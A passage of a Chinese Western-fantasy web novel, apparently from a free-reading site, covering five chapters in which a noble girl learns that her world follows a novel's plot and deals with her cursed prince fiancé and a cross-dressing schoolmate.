《克劳拉小姐总是不高兴[西幻]》 1. 第1章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 平凡的一天,女仆的敲门声将克劳拉从混乱的梦中唤醒。 克劳拉坐起身,还未完全从梦中挣脱的她,怔愣了几分钟才想起来今天是礼拜日,不需要去学校。 随着轻轻地摇铃声,女仆们推开门鱼贯而入,为克劳拉洗漱,并为她穿上几层柔软的居家长裙——上午不需要会客。 来到餐厅后,她的哥哥伊登已经坐在主位上,等待她的到来。 “早上好,我亲爱的妹妹,你今天看起来并不高兴。” 克劳拉神色恍惚,“做了一个不怎么有趣的梦。” “什么梦?”伊登随口问道。 很离谱的梦,尽管很多细节克劳拉已经记不清,只记得梦里她所在的世界是由两本书交汇而成的,书中的主角一位是她的哥哥伊登,另一位则是她的未婚夫,而她只是一个推动剧情的女配。 听上去好笑极了,她的哥哥伊登居然会爱上男子,而她的未婚夫则是一位王子殿下。 男仆为克劳拉拉开椅子,在她坐下后又为她铺好餐巾,整理好餐具。 简单的祷告后,两人开始用餐。 早餐是松软的白面包以及蘑菇汤,看上去很诱-人,但克劳拉早已吃腻了。 根据贵族礼仪,吃饭时不允许发出声音,更不能说话。克劳拉并不喜欢这种规矩,偌大的伯爵府只有她和伊登两个主人,而她连和哥哥在吃饭时交谈的权力也没有。 但只要她或哥哥试图开口说话,菲米娅管家立刻会用不赞同的表情注视着他们。 餐后克劳拉来到书房,开始处理伯爵府各项事务,并批阅来自领地的文书。 直到完成所有工作,她还一直惦记着这个梦。 下午,克劳拉的贴身女仆雪莉告诉她,已经快要3点了,未婚夫即将到来。 她不得不放下手中的书,前往梳妆房整理仪表。 镜子里的少女有着一头棕红色的卷发,一双与兄长伊登相似的祖母绿眼睛,皮肤并不够白皙,脸上还带着些许雀斑。 不似伊登那样容貌精致,克劳拉的五官并不出众,像极了前德文西伯爵——她的父亲,不过好在她从妈妈那里继承来了一双会说话的大眼睛,使得她的容貌虽不够出彩,但也称得上眉清目秀。 想到伊登,克劳拉问道:“伊登去哪了?饭后就一直没见到他。” “伯爵阁下饭后前往教堂祷告了,下午有温斯顿大公举行的宴会,阁下转告您,他会晚些回来。”一旁侯着的男仆答道。 克劳拉可有可无地点头,引来雪莉小声地抱怨,“小姐,您不要总是动,现在闭眼,我可不想一会还要帮您吹眼睛。” 克劳拉闭上双眼,任由几位女仆在她脸上,头发上来回操作,心中感到一阵厌烦。 每次见外人总要进行这种繁琐地梳妆打扮,哪怕她和未婚夫说不上半个小时的话,该有的礼仪都必须做到位。 三点刚过,未婚夫的马车驶进伯爵府大门,在几位男仆的牵引下前往停车的测坪。 克劳拉顶着宽大的礼帽,今天的束腰有些紧,她不得不挺直腰板,昂首挺胸小心翼翼地行走。 菲米娅管家已经在后花园等待,见到克劳拉,她满意地点头,“小姐您今天的妆容与仪态都很完美。” 克劳拉微笑,“谢谢。”学会尊重与礼貌对待下属,也是贵族的必修课。 “卡尔男爵已经在亭子里等待,希望您与他度过一个愉快的下午。” 克劳拉提起裙摆,穿过花园小径,远远地望见她的未婚夫卡尔男爵端坐亭中。 见到克劳拉,他起身来到台阶下迎接。 简单的吻手礼后,卡尔绅士地牵着克劳拉的手,带她来到亭子里入座, “下午好,克劳拉,今天的你依旧如此动人。希望我的到访没有打扰到你。” “很高兴见到你。”克劳拉回答,说着她注意到卡尔脸上的面具,“为什么不摘下面具,周围并没有其他人在。” 卡尔有些犹豫,手覆在面具上,到底还是没有取下来,“免得打扰你的好心情,面具我就不摘了。” 克劳拉蹙起眉,端起桌上的茶壶,为他倒了一杯红茶,“这是伯爵府新到的红茶,我觉得很好喝,难得想和你共享,你不摘下面具怎么喝?” “那我却之不恭了。”卡尔这才摘下面具,露-出他的真容。 克劳拉直视着卡尔,这张脸上布满了密密麻麻的疱疹与脓疱,甚至已经看不出五官的轮廓,显得异常恐怖。 卡尔最初来到伯爵府摘下面具的那一刻,周围的仆人都倒吸一口气,甚至有胆小的女仆直接被吓晕过去,现场一度十分混乱。 坦白说,克劳拉见到的第一眼也被吓到了,不过出于良好的素养,她并没有过激的表现,脸上的表情都没太大变化。而后面几次再见到这张脸,她已经能泰然自若地与之交谈。 为了让卡尔不被下人影响,通常来会见他时,克劳拉都会要求仆人们在花园外等候,必要时她会摇铃召唤他们。卡尔对此也很受用。 卡尔浅酌一口红茶,赞叹道:“不愧是伯爵府的品味,确实是好茶。” 放下茶杯后,他将左手边摆放着的书递交给克劳拉,“这是你上次提到的那本书,我给你带来了,希望你会喜欢。” 克劳拉早就注意到了桌上这本书,不过没有细看书名,毕竟是卡尔的东西。 见卡尔将书递给她,她双手接过后才注意到这是她找寻很久的《炼金术的奥秘》,她惊喜地翻开扉页,快速地翻阅过前几页,“谢谢你卡尔,这真的太棒了!” 很快克劳拉反应过来,现在不是忽视客人,专心看书的时机。她轻轻合上书本,抬头发现卡尔微笑着注视她,“抱歉,我太高兴了,忍不住看了一些,谢谢你。” “没关系,这是我的荣幸。”卡尔回答道,“我没想到克劳拉你居然会喜欢这种书,我以为你会像其他小姐们一样喜欢些诗词歌赋。” 只是克劳拉心中有些疑虑,炼金术在前朝是禁-忌之书,现在的国王虽然没有明令禁止,但炼金术相关书籍早已毁得差不多了,余下的几本无一不是珍藏。 卡尔只是一个小小的男爵,从哪儿弄到的这本书,难道他真的是一位王子? 带着犹豫,克劳拉万分不舍地又要将书还回去,“抱歉,这本书太贵重了,我不能要。” 卡尔却并不收回,戴着手套的手微微发力,抵在书本另一端,“不用担心,我给你了就是你的了,毕竟让未婚妻高兴是我的义务。” 见克劳拉表情仍然带着疑虑,他轻声问道:“是有人和你说了什么吗?关于我的事?” 克劳拉回想一下身边的仆人,尽管他们都有些害怕这位男爵可怖的容貌,但菲米娅很是满意,觉得克劳拉嫁过去绝不会吃亏,身份地位也还算匹配,最重要的是他还有足够的财富。 只是伊登觉得她不应该这么早嫁人,更不应该选择一个自己没见上几次面的人作为未婚夫,她应该选择她真心所爱,也真心爱她的人。 克劳拉摇摇头,“没有人说什么,学校里的朋友并不知道我已经有未婚夫了,而伯爵府的大家还挺满意你的。” 卡尔 2. 第2章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 “克劳拉小姐!小姐!该醒了!上学要迟到了!” 克劳拉烦躁地用毯子捂住头,翻过身想要继续睡。 “啊!菲米娅管家来了!” 克劳拉立刻掀开毯子坐起,发现屋内哪有菲米娅的身影,她被雪莉骗了。这导致克劳拉换衣服时表情一直很难看。 今天要去学校,所以克劳拉不需要穿繁琐的礼服,校服相对来说会轻便很多。 还在卷头发的克劳拉从镜子看到雪莉正准备为她整理床铺,克劳拉猛地起身扑向床头,把为她卷发的小女仆吓了大跳。 克劳拉翻遍整张床都没有找到昨晚那两本书,她不禁怀疑起来,难道昨晚又是一场梦? “雪莉,你早上喊我时,有没有看到我床头上放着两本书?”克劳拉见床头没找到,又急忙跑到书桌旁到处翻找。 “没有啊小姐,我今早来的时候床上什么也没有。”雪莉见因为克劳拉的动作幅度太大,刚整理的头发又变得散乱,连忙劝道,“小姐,你动作轻柔一些,什么书之后再去找,再不做好发型上学就来不及了啊!” 克劳拉才不管什么所谓的发型和上学,她只管指挥女仆帮她一起翻找两本黑色封面没有名字的书本。 由于耽误得太久,菲米娅管家不得不上楼来查看她的情况,见房间一团糟,她差点支撑不住晕过去。 最后因时间实在来不及,菲米娅下令不许克劳拉吃早餐,直接将她送往学校。 马车上克劳拉心情很糟糕,不仅仅是因为睡眠不足——她昨晚熬夜阅读那两本书;更是因为书中的剧情让她很不满,而今早那两本书居然不翼而飞。 “若拉,你最近为什么总不开心。”坐在她对面的伊登问道。 克劳拉耷拉着脸,为了掩盖她的黑眼圈,今天的粉都扑得比平时更厚,可惜并没有让她显得很精神,反而因腮红涂抹不够均匀,看上去十分苍白。 听到伊登这样问,克劳拉的不满找到了宣泄口,“是谁这几天天天往外跑,把该做的工作都交给我处理,换你你心情好吗?” 伊登自知理亏,从提包里拿出两个小面包塞到克劳拉怀中,“偷偷给你留的,看你脸白的,多吃点,亲爱的。” 克劳拉将面包拿在手中并没有吃,默默望着窗外出神。 即将下车时,伊登忽然说道:“若拉,你要是我弟弟就好了,伯爵的位置就可以留给你了。” “可惜我是女孩。”克劳拉平静地打开车门下车,和伊登挥手告别,他就读的男校还需要再往前行驶二十分钟。 雪莉也从车辙上下来,站在克劳拉身后一点的位置,提着包与她一起往前。雪莉即是她的贴身女仆,也是伴读。 “小姐,你昨天不会是补作业补到很晚吧?” “没有,别多问。”克劳拉无法告诉任何人她昨晚经历的一切,说到底,她自己也不确定昨晚是不是又是一场梦,不过今天她可以确认一些事。 克劳拉就读的海伦女校与王都另一所白汉金男校一般,都是针对16岁以上年轻贵族们,提供三年精英教育。尽管女校与男校因学生身份有所不同,教学内容也有细微的差距,但目的都是为了培养贵族阶层。 今年7月克劳拉即将升入三年级,并于明年6月从学校毕业。 克劳拉穿过紫藤花盛开的长廊,周一刚返校,走廊上的贵女们三五成群聚在一起,讨论着周末参加的沙龙与聚会。 这些都与克劳拉无关,她的周末基本都用来看书以及处理伯爵府的事务,毕竟伊登并不擅长这些,而他的领地有一堆问题需要解决。 身后传来干脆利落地脚步声,伴随着贵女们打招呼的声音, “是艾琳首席!” “艾琳首席,贵安!” “天呐,艾琳首席可真帅,她又长高了吧!” 克劳拉微微向旁边移动,让出正中心的位置方便来人通过。 修长的身影目不斜视地经过她,而克劳拉则紧盯着她的后背——艾林·瓦兰许,正是剧情里伊登的追求者之一。 没错,是艾林而不是艾琳。艾林是瓦兰许侯爵的私生子,为了能在侯爵夫人手里活下来,他不得不扮作女孩的样子,隐忍至今。 剧情里他将在不久后对伊登一见钟情,并以贵女的身份与伊登订婚。侯爵病重后,为了谋求侯爵的家产他不得已暴露身份,之后伊登选择和他退婚。艾林为成为配得上伊登的人又加入到侯爵爵位之争中。 而克劳拉,在这一段剧情的作用就是:她将艾琳邀请至家中让他与伊登相遇,之后更是极力撮合他两。身份暴露后,仍不忘在自己哥哥面前为艾林说好话。 克劳拉想不明白,她与艾琳相识但并不熟,自己为何会突然邀请她到家中做客,剧情里也没有细写这些,只说到艾琳在伯爵府对伊登一见钟情。 现在克劳拉试图从艾林的背影里发现他是男子的破绽,同时在心中安慰自己,或许所谓的剧情都是假的。艾琳只是一位普通的贵女,尽管她拥有比常人更高挑的个子,但学校里也不是没有高个子的女孩。 正巧克劳拉与艾琳同一班级,今天一整天无论是算术课、经济课、政治课,还是下午的艺术鉴赏课、马术课,克劳拉一直在偷看她。 克劳拉早知道艾琳的盛名,不管哪门课程他都信手捏来,只要他在的地方,都会引来一阵崇拜的议论声,不愧是高年级的首席——连老师都对他赞叹有加。 马术课结束后,更衣室里,克劳拉心想着,自己总不能去偷看他换衣服,以此确定对方到底是男是女吧,这也太有失贵族身份。 但是不验证艾林的身份,她又无法确认书中剧情到底是不是真的。书中她的结局并不好,或许在多数人看来那是相当不错的结局,但克劳拉并不喜欢。 马术课结束后就是下午茶时间,贵女们聚在一起交流,并等待自家马车的到来,之后各回各家。 克劳拉换下马术服,穿好校服,叹了口气,看来只好明天继续观察了,不知道今晚自称世界意识的家伙会不会再来。 这时克劳拉注意到,更衣室里不知何时只剩下她一人了,看来是她胡思乱想耽误太多时间了,希望雪莉在外面没有等太久。 她关上柜门,将换下的马术服搭在手上,准备带回家让女仆清洗——学校自然可以付费提供清洗服务,很多贵女也都会拥有好几件骑马装。很可惜伯爵府目前并不富有,克劳拉能省则省。 门轻轻上锁的声音,在安静的更衣室里显得格外突兀,克劳拉警觉地望过去。只见她今天一天的观察对象艾林,正背对着大门,笑盈盈地看着她。 “德文西小姐,你今天观察了我一整天,或许我能知道原因吗?”她笑着,笑意却不达眼底。 克劳拉努力保持镇定,“只是……只是崇拜艾琳首席你罢了,我偷偷观察你是想像你学习,学习变得像你一样优秀。” 艾林慢慢踱步到克劳拉跟前,“原来是这样吗?” “当然!”克劳拉肯定。 艾林的身高确实很高,比克劳拉高出了将近一个头,克劳拉感觉他可能和卡尔男爵差不多高。 < 3. 第3章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 神秘的世界意识这一周都没有出现,连带着那两本书也一直没被克劳拉找到,克劳拉每天活着都在纠结之中,一度以为这一切都是她的臆想。 甚至请来家庭医生为她诊断,得到的结论是毫无问题,她既没有生病,更没有被魔鬼附身。 直到这天收到卡尔的邀请,邀请她周末一同前往庄园赏花,克劳拉本来并不想接受这份邀约,主要是不想面对卡尔。 很快她想起剧情里,卡尔这次邀请她外出,两人在散步过程中,会遇到追随而来的卡尔的真爱。 为了印证剧情,克劳拉同意了卡尔的邀约,大早起来梳妆打扮,绝不是因为她好奇卡尔的真爱到底是谁。 在书中,一直没提及过这位真爱的名字,她出场时都是用卡尔的真爱代称。或许有提到过吧,毕竟克劳拉没有细看,可能在她没注意的角落里出现过。 “我觉得今天是去野餐,就不需要穿高跟鞋了吧?” 克劳拉今天身着一件偏日常鹅黄的长裙,裙摆上绣着复杂又精致的花草图案,宽大的蕾-丝袖口,让她的手臂有些发痒。而现在摆在她面前的是一双同色系同花纹的尖头高跟鞋, “当然不可以,我的小姐,高跟鞋是淑女的必备品。” “很快就要五月节了,卡尔男爵这时候邀请您出去,是想和您聊节日的事情吧?” “啊!那得赶紧为小姐定做最新的礼裙了。” 女仆们七嘴八舌地议论着,将克劳拉的头发盘成少女感的小羊角辫,又为她戴上带着纱网的礼帽。 最近菲米娅管家前往领地巡视了,整个伯爵府的侍从们大胆了很多。克劳拉离开时,更是看到伊登在非规定时间内吃早餐,见到她还乐呵呵地告别,“亲爱的,玩得开心。” 克劳拉用扇子遮住脸,翻了一个并不优雅的白眼,自家哥哥真是一个空有美貌的花瓶,真不知道他为什么能成为所谓的主角。 卡尔的庄园附近有大片大片的花海,沿着河盛开着。 克劳拉餐后不久就提出想要去附近逛逛,卡尔正有此意。 只是草地并不好行走,卡尔又不习惯侍从跟随,克劳拉只好一手打着遮阳伞,一手紧紧地抓住卡尔搀扶她的胳膊。 嘴里小声抱怨着:“早就说了出来玩不要穿高跟鞋,非要我穿上,现在还得一直麻烦你扶着。” 卡尔却笑着说:“这是我的荣幸,你可以一直依靠我。” 克劳拉现在专心于走路,还不得不挺直腰板因为这该死的束腰,脑海里早忘了卡尔的真爱这回事了。 直到走到河边,她望见了那大片郁金香,来不及雀跃,她又看到了在郁金香花海中孤芳自赏的女孩。 真来了啊,克劳拉停下脚步,惹得卡尔奇怪地询问,“怎么停下了。” 克劳拉深吸口气,该面对的还是要面对的,说不定不是真的呢。只是她握着卡尔的手却松开了力度。 卡尔顺着她的目光,也注意到了花丛里的女孩,很快他收回目光,低头看向克劳拉,语气不明,“你认识她吗?那个女孩。” 克劳拉刚想说不认识,就看到女孩提着裙摆向他们奔来,神色焦急,也是这时克劳拉看清了她的脸,“是艾洛薇……” 艾洛薇也是她的同班同学,是斐迪南公爵之女。 卡尔握住克劳拉的手臂,试图带着她离开,“我们先走吧,不要让不想干的人打扰到我们。” “可是……”克劳拉犹豫,出于贵族礼仪,在路上遇到同学不打招呼是一件很没礼貌的事。 “安德鲁殿下!不要走!”由于克劳拉的停顿,艾洛薇终于跑到了他们面前,“殿下,很抱歉我的不请自来,但我实在找不到您。打听到您今天会来庄园,我好不容易下定决心来见您。” 卡尔一言不发,表现得并不认识她一样,但克劳拉从他握得更紧的力道里,察觉到他并非表面那样毫无波澜。 “卡尔,你太用力了,我手臂有些疼。”克劳拉小声地提醒。 “抱歉,克劳拉。”卡尔如梦初醒,放开了手。 艾洛薇这时才注意到卡尔身旁的女伴,知道自己的失礼,提起裙摆向克劳拉行礼,“很抱歉打扰到你们。” 克劳拉看艾洛薇好像并不认识自己的样子,也能理解,毕竟她在学校里挺小透明的,除了雪莉外,只有一两个朋友。 剩余和她套近乎的贵女也都是为了打听她哥哥的事。不过艾洛薇两者皆不是,她自己就是人群的焦点。 而现在这位天骄之女,正泫然欲泣地拉着卡尔男爵,“殿下,您不能因为我一时的错误就彻底否认我,我是那么的爱您!” “自从那天与您分开后,痛苦、悔恨、心酸都涌上我的心头,之后我想来和您道歉,告诉您不管怎样我都一直爱您,可是您却避我如蛇蝎。到底我该怎么做,才能挽回您的心……” 有这样一位大美人在面前诉说一腔爱意,卡尔还能无动于衷,克劳拉有些心疼艾洛薇了。 卡尔冷漠地拂开她的手,“艾洛薇小姐,我已经订婚了,还请你以后不要再来了,也祝你能拥有自己的幸福。” 艾洛薇不可置信地后退两步,目光转向正看戏的克劳拉,又转回到卡尔的面具上,强忍许久的眼泪终于落下。 她捂住嘴,不让自己哭出声,“是吗?是哪家的小姐,我有幸认识一下吗?” “你好,我是德文西伯爵之妹,克劳拉·德文西,艾洛薇小姐,我们是同学。”赶在卡尔开口前,克劳拉抢白道,总感觉卡尔继续说下去,眼前的女孩就要碎掉了。 卡尔不再关注艾洛薇,反而语气轻柔地对克劳拉说道:“走吧,是时候回庄园了,下午茶为你准备了你最爱的牛乳布丁。” 克劳拉下意识看向艾洛薇,把她一个人留在这,似乎不太好吧。 只是卡尔微微用力,强行带着克劳拉转身。 “啊——小心!”克劳拉惊呼,只见艾洛薇似乎因过于悲伤,脚一崴就往后倒去,艾洛薇所站的地方是一个小斜坡,如此滚下去甚至可能落入河中。 不过克劳拉预想的画面并没有出现,因为在她惊呼的瞬间,卡尔已经彻底放开她的手臂,转而去扶艾洛薇。 可惜因为地面凹凸不平的原因,卡尔并没能拉住,而是被带着一同摔下去。两人相拥着滚落,自始至终卡尔都将艾洛薇紧紧护在怀里。 克劳拉一开始想提着裙摆追上去,很快理智告诉她如果她不小心摔倒了,可没有人扶她,所以她只是站在原地担忧地望着。 见两人在郁金香花丛中停下,克劳拉松了一口气。卡尔的面具在途中掉落了,克劳拉看见艾洛薇抬手触碰卡尔的脸颊,而卡尔也小心而克制地抚摸她的头发。 再待下去就显得她很多余了,克劳拉提起裙摆往回走,现在她有些心疼自己了。 回去的路仍然坑坑洼洼,并不好走。只是克劳拉走得很坚定,到头来,可以依靠的还是只有自己。 回家的路上克劳拉郁郁寡欢,不断回想着卡尔和艾洛薇在花丛中相拥的画面。真是的,既然卡尔也爱着艾洛薇,非要跑过来和她订婚做什么? 忽然间,克劳拉想起艾洛薇对卡尔的称呼——安德鲁殿下。王国只有一位名正言顺的继承人,正是安德鲁·古斯塔殿下,她一开始以为卡尔是国王的私生子,没想到居然正是安德鲁本人! 据说安德鲁殿下被魔鬼诅咒,不得不在王宫里修养身息,这两年很多必须王子出面的事务,都是由他的近臣温斯顿公爵处理。 正好印证了剧情里被诅咒的王子,以及王子被迫分开的真爱。而克劳拉只是一个解除诅咒的工具人罢了。 所以到底是什么诅咒,让相爱的两人不得不分开,又是什么原因,只有她能够解开诅咒,克劳拉百思不得其解。 或许书中能得到解答,上次的神秘声音提到要请她帮忙,之后又没有说明需要帮忙的内容。 克劳拉肯定祂还会再来,只是什么时候来,来了以后会不会让她继续看完剧情,克劳拉也不确定。 在路上,她的马车与另一辆马车错身而过,克劳 4. 第4章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 上午阳光正好,四月末学校里花卉们争相开放着,贵女们休息的空隙就爱聚在一起聊天赏花,期待着即将到来的五月节。 克劳拉无心赏花,雪莉催促她几次进教室里,她都不愿意进去,站在走廊的尽头,望着池子里的游鱼发呆。 “小姐不进去,我可要进去了,毕竟小姐的包总是很重。”雪莉抱怨着,克劳拉不想听她抱怨,打发她先回教室准备上课的用具。 自己则继续留在原地,她可不想回教室同时面对两个她不喜欢的家伙。 “克劳拉·德文希,我可以叫你克劳拉吗?” 身后传来温婉的女声,克劳拉回过头,来人正是艾洛薇,以及她的同伴们,“你也可以称呼我的名字。” “当然可以,艾洛薇。”克劳拉转身行礼,有些紧张地接受几位贵女的回礼。 “我和克劳拉有些事情要聊,可以拜托大家为我们留出一些私人空间吗?”艾洛薇这么说,其他贵女纷纷离开,离开前或多或少地打量着克劳拉。 克劳拉听到她们小声地议论,“那是谁,艾洛薇小姐居然让她直呼名字。” “德文希,好耳熟的姓氏,是不是那位超级英俊的德文希伯爵?” “是他的亲属吗?” 克劳拉将手背在身后,揪着身后的裙摆,本着别人不先开口,我绝不说话的原则,低头看着自己的鞋面。 “抱歉,昨天似乎吓到你了,克劳拉。你最后一个人回去的时候没有摔倒吧。”艾洛薇走到她身旁的位置站定,从这里可以望见一个小型的池塘,隐在树荫下,池面上的睡莲开得正好。 “没有。”克劳拉可不知道怎么和情敌相处,贵族礼仪没教过这些。连情敌说不定都是自己一厢情愿地认为,艾洛薇压根没将她看在眼里吧。 “安德鲁告诉我,你第一次见到他的脸时,没有尖叫,更没有惊慌失措,还能强撑着惧意安慰他。” 艾洛薇并不在意克劳拉的冷淡,自顾自地接着说, “而我,见到那张脸后却控制不住心生恐惧,尖叫着让他远离我,之后更是连着做了几天噩梦。我简直不敢相信那是完美的安德鲁殿下。” “听说有不少贵女见到他的样子后都是这种反应,只有克劳拉你是不同的,或许这就是他选择你的原因。” 克劳拉不需要这份选择,毕竟卡尔喜欢的仍然是别人,“我会和卡尔解除婚约,他不喜欢我,他爱的人是你。” 说着她实在不想在这种氛围里待下去,抬脚就要离开,至于贵族礼仪通通被她抛掷脑后了。 “等等!”艾洛薇拉住她的手腕,“听我说克劳拉,我今天来不是让你和安德鲁解除婚约的,相反我希望你继续保持这份关系。” “哈?”克劳拉彻底维持不住自己端庄的表情了。 上课铃响起,艾洛薇来不及多解释什么,拉着克劳拉快步回到教室里,“之后再和你解释,先去上课吧。” 克劳拉猜测或许是因为诅咒的原因。书中写到卡尔因为诅咒能听到他人丑恶的心声,久而久之这些恶毒的言语,化作脓包与疱疹布满了他的脸庞,他不得不远离人群,并戴上面具。 需要一位美丽善良的女子,发自内心地赞美他,才可以解除诅咒。 克劳拉梗住,第一次由衷地希望自己是一个恶毒的女人。 所以现在艾洛薇不想她与卡尔解除婚约,就是因为想要克劳拉真心赞美卡尔,为他解除诅咒后,再退出这段感情,成全他与艾洛薇吗? 坦白来说,知道剧情后,克劳拉已经没法做到发自内心地赞美卡尔,甚至她都没法保证自己在卡尔的读心下不会露馅。 她与卡尔相处至今,也不知道卡尔读了多少她的心声,不管怎么说,被别人读心真的很可怕。 “德文希小姐,由你来解读一下这行诗的意思。” 正发呆的克劳拉匆忙站起身,同桌的贝拉连忙将段落指给她,这才让克劳拉不至于在同学面前出丑。 “谢谢你贝拉。”课后克劳拉向同桌道谢, “不用客气,只是克劳拉你最近总在上课时发呆,要么就偷看首席。可别让凯瑟琳夫人知道了。”贝拉担忧地说。 凯瑟琳是管理整个学校纪律的女士,相当严格,若是让她抓到克劳拉上课不集中精神,那克劳拉的下场一定很惨。 克劳拉也觉得,最近她的生活一团糟,甚至没有时间看她喜欢的书,研究炼金术。不能再让这些家伙影响自己的生活了,她必须要沉下心好好读书。 下午的鉴赏课,学校在礼堂里展出了一批刚收录的画作,学生们可以在礼堂自由行动,欣赏自己喜欢的画作。 克劳拉在角落里发现了一幅画,并被她深深吸引,画布上,一位妇女被高高架起,火焰在她的脚底燃烧,更在她眼底燃烧。 右下角标注着画的名字——《燃烧的正义》,还有一小行注释:杀死她的不是火焰,而是正义! “你可真爱往角落跑,克劳拉小姐。”艾林像只猫一样,悄无声息走到她身旁,侧身靠着墙,拦住克劳拉想要逃跑的路,“只是稍微吓唬了你一下,有必要躲我一个礼拜吗?” 克劳拉试图在周围找到可以求助的人,很可惜失败了,雪莉和贝拉的伴读是好朋友,她早和朋友一块玩耍去了。而这里又是一个偏僻的走廊。 “你又想做什么?我可没把你的秘密说出去。”克劳拉打定主意,如果艾林要对她下手,她就从背后的窗户跳下去,反正只是二楼。 “别紧张,亲爱的,只是有些事需要你帮忙。”艾林仿佛全然不记得自己曾威胁过克劳拉,表现得很温和。 “什么忙?”怎么一个个都找她帮忙,克劳拉并没有因为艾林的轻声细语放松警惕。 “是这样的,周日那天呢,本来我想去贵府拜访,拉进一下和你感情。”他拖长声调。 克劳拉差点脱口而出,不要来我家,又克制住,示意他继续说。 “我想让你帮忙,促成我和你姐姐的婚约。”艾林话题一转,说出了自己的真实目的。 “我……姐姐?”克劳拉不解,她哪来的姐姐? 艾林接着往下说,“你不觉得我们很相配吗?她为了不让伯爵之位被人抢走,不得不女扮男装,而我为了在夫人手里活下来,被迫男扮女装。亲爱的克劳拉,你一定会祝福我们的对吧。” 克劳拉:…… 她大概知道发生什么了,她的戏精兄长又趁她和菲米娅都不在偷穿她的衣服,被艾林撞见后,还编纂出这种离奇的设定,最离谱的是,艾林他还相信了! 这就是世界意识所说的剧情修复吗?哪怕她没有邀请艾林,艾林仍然自己跑到她府上,并对伊登一见钟情。只是这发展怎么感觉不太对劲啊。 克劳拉试图让艾林清醒一点,“其实,那不是……” 她的表现,在艾林理解来就是拒绝,艾林打断她,“很不巧,我今天上午不小心听到了一些不该听到的话。亲爱的克劳拉,你也不想所有人都知道你就是安德鲁殿下的婚约者吧。” 克劳拉再次瞳孔地震——让人把话先说完啊!不是,你怎么偷听别人说话啊!堂堂首席也太掉价了吧! “所以你的回答是?”艾林微笑。 5. 第5章 《克劳拉小姐总是不高兴[西幻]》全本免费阅读 “不愧是艾琳首席,不仅各项课程都是顶尖,连礼仪都如此完美,不知道哪位阁下有幸娶到您这样完美的夫人。” “艾洛薇小姐说笑了,我的礼仪比起您来差远了,不愧是公爵府的千金,错过您是安德鲁殿下的遗憾。” 克劳拉干巴巴地切着手中的牛排,被迫夹在针锋相对的二人中间,如坐针毡。 其他的同学都默契地坐到其他桌,远离她们三人,同时又暗中打量着坐在两位天之骄女中间的克劳拉,脸上带着新羡与向往。 “啊!我也好想和首席还有艾洛薇大人一起用餐!” “两位大人用餐礼仪简直赏心悦目,她可真是太好运了!” 克劳拉尽量维持基本的礼仪,心中却想,这份好运谁爱要谁要,反正她是不想要。 听着两人夹枪带棒的对话,克劳拉手中的餐刀一用力,发出刺耳的刺啦声。 艾洛薇立刻关切地望过来,“克劳拉,你今天胃口不太好,是不是周围的香薰有些太重了?” 艾林优雅地将牛排切好,温声道:“可能是因为不太习惯和大小姐坐得太近,有些紧张罢了。” “抱歉,刚刚有些走神。”克劳拉强颜欢笑,为什么事情会变成这个样子! 时间推回半小时前,上午的课程结束后,克劳拉如往常一样准备和同桌贝拉前往餐厅就餐。 整理书籍和笔记时,贝拉轻轻拍了拍她的肩膀,示意她抬头。克劳拉这才发现,班级里两位焦点都走到她面前,并同时向她发起邀请。 “克劳拉,我有幸能与你一起共进午餐吗?” “亲爱的克劳拉小姐,或许你想与我一起共进午餐吗?” 克劳拉:? 贝拉见此决定偷跑,小声地说了一句:“克劳拉,我先走了,下午见。” 克劳拉:别走!把我也带走! 一瞬间,她真的很想扔下手中的书,直接跑走,可惜当她转头望向教室大门时,发现门口站满了观望的贵女们。 而眼前的两位还在等待她的回复。 艾林眼中带着不由分说地威胁,而艾洛薇则希翼地望着她,仿佛一旦被克劳拉拒绝就会伤心难过。 于是最终演变成了这种情况——克劳拉坐在中间,两人一左一右落座在她的身旁。 学校用餐时并不会严格要求,毕竟午餐时间与同学交流感情也是交际手段之一。 尽管是两人邀请克劳拉一起用餐,到了餐桌上后,却演变成两位你一言我一句交谈起来,并且交谈的语气越来越友好。 “克劳拉,你昨天下午跑哪去了,我在礼堂找半天都没有找到你。”艾洛薇状似抱怨,实则用亲昵的语气说道。 “克劳拉小姐昨天和我在一起欣赏画作,”艾林微笑地补充,“顺带我们还讨论了订婚的事,关于我和她的……” 克劳拉猛地站起,打断了艾林的话。但她的动作,却不小心打翻了右手边的茶杯,红茶顺着餐桌,落到了艾林的裙摆上。 “抱……抱歉艾琳首席,刚刚有只虫子落到我面前……”克劳拉小心地道歉,并拿出手帕试图帮她擦拭。 艾林在克劳拉即将碰到她裙摆时,抓住她的手腕,笑意加深,明明脸上带着你等着你死定了的表情,说出来的话却很温柔,“没关系,亲爱的克劳拉,我知道你只是不小心。” 说着他站起身,未完全晕开的红茶又顺着她的裙摆落到地面上。艾林朝着艾洛薇行礼示意,“失礼了,艾洛薇小姐,请容许我先行离开。” “当然,快去换衣服吧艾琳首席,和您用餐是我的荣幸。”艾洛薇只点头回礼,她轻拉一下克劳拉的袖口,“好了克劳拉,或许我们也应该换个位置了,残局交给女仆们处理吧。” 克劳拉表面唯唯诺诺,实际心理可没什么歉意,要不是艾琳那家伙好端端地突然提什么订婚,她会急匆匆打断她的话碰倒茶杯吗?这是艾林应得的! 没有艾林这个碍眼的家伙后,尽管克劳拉也没有多喜欢艾洛薇,但之后和她一起用餐省心多了,毕竟艾洛薇人好看说话也好听。 克劳拉心想,说不定和卡尔退婚后,她能试着和艾洛薇成为朋友。 饭后休息时间,艾洛薇邀请克劳拉前往湖边散心,克劳拉知道她要继续昨天的话题,还紧张兮兮地检查四周,确定艾林没有在附近。 通往湖边的小路被树荫笼罩着,路旁盛开着大量蓝铃花,在微风中轻轻摇曳着。 克劳拉想蹲下身观察这些小铃铛,又担心会弄脏裙摆,想着等没人时再来这边采-花。 “那我直接说了,我希望你不要这么快和安德鲁解除婚约。”艾洛薇的话语,将克劳拉的注意力拉回来。 阳光透过树丛落到艾洛薇脸上,克劳拉觉得这光有些刺眼,让她看不清艾洛薇的表情。她问:“为什么?你不是深爱卡尔吗,你不想和他结婚吗?” 艾洛薇轻笑,“看来两位伯爵阁下都很宠爱你。” 克劳拉不明白,艾洛薇怎么又突然扯到了她的父亲和哥哥身上。 艾洛薇拉起她的手,带她走进蓝铃花丛之中,“来吧,看你很喜欢这些花,我们去花丛里。” 克劳拉没有拒绝,只是继续问,“你是想让我解除卡尔的诅咒吗?不用担心,就算我和他取消婚约了,诅咒方面我能帮忙肯定会帮忙。” 